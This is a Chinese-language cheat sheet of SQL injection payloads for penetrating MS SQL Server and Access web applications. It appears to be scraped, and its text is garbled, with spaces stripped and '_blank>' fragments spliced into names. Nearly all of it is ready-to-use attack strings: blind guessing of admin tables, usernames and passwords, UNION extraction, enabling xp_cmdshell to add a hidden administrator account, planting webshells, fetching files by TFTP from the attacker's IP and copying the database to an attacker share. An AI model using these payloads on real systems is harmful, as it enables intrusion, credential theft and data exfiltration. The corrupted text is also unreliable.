渗透常用S Q L注入语句大全Document serial number【KKGB-LBS98YT-BS8CB-BSUT-BST108】1.判断有无注入点;a n d1=1a n d1= 22.猜表一般的表的名称无非是adminadminuseruserpasspassword等..and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.?1 2 3and1=(selectcount(*)fromadminwherelen(*)>0)–and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)and1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0)5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止?1 2 3 4 5 6 7 8and1=(selectcount(*)fromadminwherelen(*)>0)and1=(selectcount(*)fromadminwherelen(name)>6)错误and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6and1=(selectcount(*)fromadminwherelen(name)=6)正确and1=(selectcount(*)fromadminwherelen(password)>11)正确and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12and1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.1 2 3 4 5 6 7 8 9groupbyusers.idhaving1=1groupbyusers.id,ername,users.password,users.privshaving1=1–;insertintousersvalues(666,attacker,foobar,0xffff)–UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTA BLE_blank>_NAME=logintable-UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTA BLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-UNIONSelectTOP1COLUMN_blank>_NAMEFROMINFORMATION_blank>_SCHEMA.COLUMNSWhereTA BLE_blank>_NAME=logintableWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_ blank>_name)-UNIONSelectTOP1login_blank>_nameFROMlogintable-UNIONSelectTOP1passwordFROMlogintablewherelogin_blank>_name=Rahul–看_blank>服务器打的补丁=出错了打了SP4补丁and1=(select@@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–判断连接_blank>数据库帐号。
(采用SA账号连接返回正常=证明了连接账号是SA)?1 2 3andsa=(SelectSystem_blank>_user)–anduser_blank>_name()=dbo–and0<>(selectuser_blank>_name()–看xp_blank>_cmdshell是否删除and1=(Selectcount(*)FROMWherextype=XANDname=xp_blank>_cmdshell)–xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复;EXECxp_blank>_cmdshell,xplog70.dll–;EXECxp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–反向PING自己实验;usemaster;declare@sint;execsp_blank>_oacreate“wscript.shell”,@sout;execsp_blank>_oamethod@s,”run”,NULL,”cmd.exe/cping 加帐号;DECLARE@shellINTEXECSP_blank>_OACreatewscript.shell,@shellOUTPUTEXECSP_bla nk>_OAMETHOD@shell,run,null,C:\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574 /add–创建一个虚拟目录E盘:;declare@ointexecsp_blank>_oacreatewscript.shell,@ooutexecsp_blank>_oametho d@o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs-w“默认Web站点”-v “e”,”e:\”–访问属性:(配合写入一个webshell)declare@ointexecsp_blank>_oacreatewscript.shell,@ooutexecsp_blank>_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse 爆库特殊_blank>技巧::%5c=\或者把/和\修改%5提交and0<>(selecttop1pathsfromnewtable)–得到库名(从1到5都是系统的id,6以上才可以判断)and1=(selectnamefromwheredbid=7)–and0<>(selectcount(*)fromwherename>1anddbid=6)依次提交dbid=7,8,9….得到更多的_blank>数据库名1 2 3 4 5 6 7 8 9and0<>(selecttop1namefromwherextype=U)暴到一个表假设为adminand0<>(selecttop1namefromwherextype=Uandnamenotin(Admin))来得到其他的表。
and0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))暴到UID的数值假设为uid=idand0<>(selecttop1namefromwhereid=)得到一个admin的一个字段,假设为user_blank>_idand0<>(selecttop1namefromwhereid=andnamenotin(id,…))来暴出其他的字段and0<(selectuser_blank>_idfromwhereusername>1)可以得到用户名依次可以得到_blank>密码。
假设存在user_blank>_idusername,password等字段1 2 3 4 5 6 7 8and0<>(selectcount(*)fromwherename>1anddbid=6)and0<>(selecttop1namefromwherextype=U)得到表名and0<>(selecttop1namefromwherextype=Uandnamenotin(Address))and0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))判断id值and0<>(selecttop1namefromwhereid=)所有字段?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)得到WEB 路径?1 2 3 4 5 ;createtable[dbo].[swap]([swappass][char ](255));–and(selecttop 1swappassfromswap)=1–;CreateTABLEnewtable(id int IDENTITY(1,1),pathsvarchar(500))Declare @test varchar (20)execmaster..xp_blank>_regread @rootkey =HKEY_blank>_LOCAL_blank>_MACHINE,@k ey =SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\,@value_bl ank >_name=/,values=@test OUTPUTinsertintopaths(path)values(@test )–;useku1;–;createtablecmd(strimage);–建立image 类型的表cmd 存在xp_blank>_cmdshell 的测试过程:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ;execmaster..xp_blank>_cmdshelldir;execjiaoniang$;–加SQL 帐号;exec null ,jiaoniang$,1866574;–;execjiaoniang$sysadmin;–;execnetuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passw ordreq:yes/active:yes/add;–;execnetlocalgroupadministratorsjiaoniang$/add;–execmaster..xp_blank>_servicecontrolstart,schedule 启动_blank>服务execmaster..xp_blank>_servicecontrolstart,server;DECLARE @shell INTEXECSP_blank>_OACreatewscript.shell,@shell OUTPUTEXECSP_blan k>_OAMETHOD @shell ,run,null ,C :\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add;DECLARE @shell INTEXECSP_blank>_OACreatewscript.shell,@shell OUTPUTEXECSP_blan k>_OAMETHOD @shell ,run,null ,C :\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add;execmaster..xp_blank>_cmdshelltftp-iyouipgetfile.exe –利用TFTP 上传文件 ;declare @a sysnameset @a =xp_blank>_+cmdshellexec @a dirc:\;declare @a sysnameset @a =xp+_blank>_cm’+’dshellexec @a dirc:\;declare @a ;set @a =db_blank>_name();backupdatabase @a todisk=你的IP 你的共享目录bak.dat如果被限制则可以。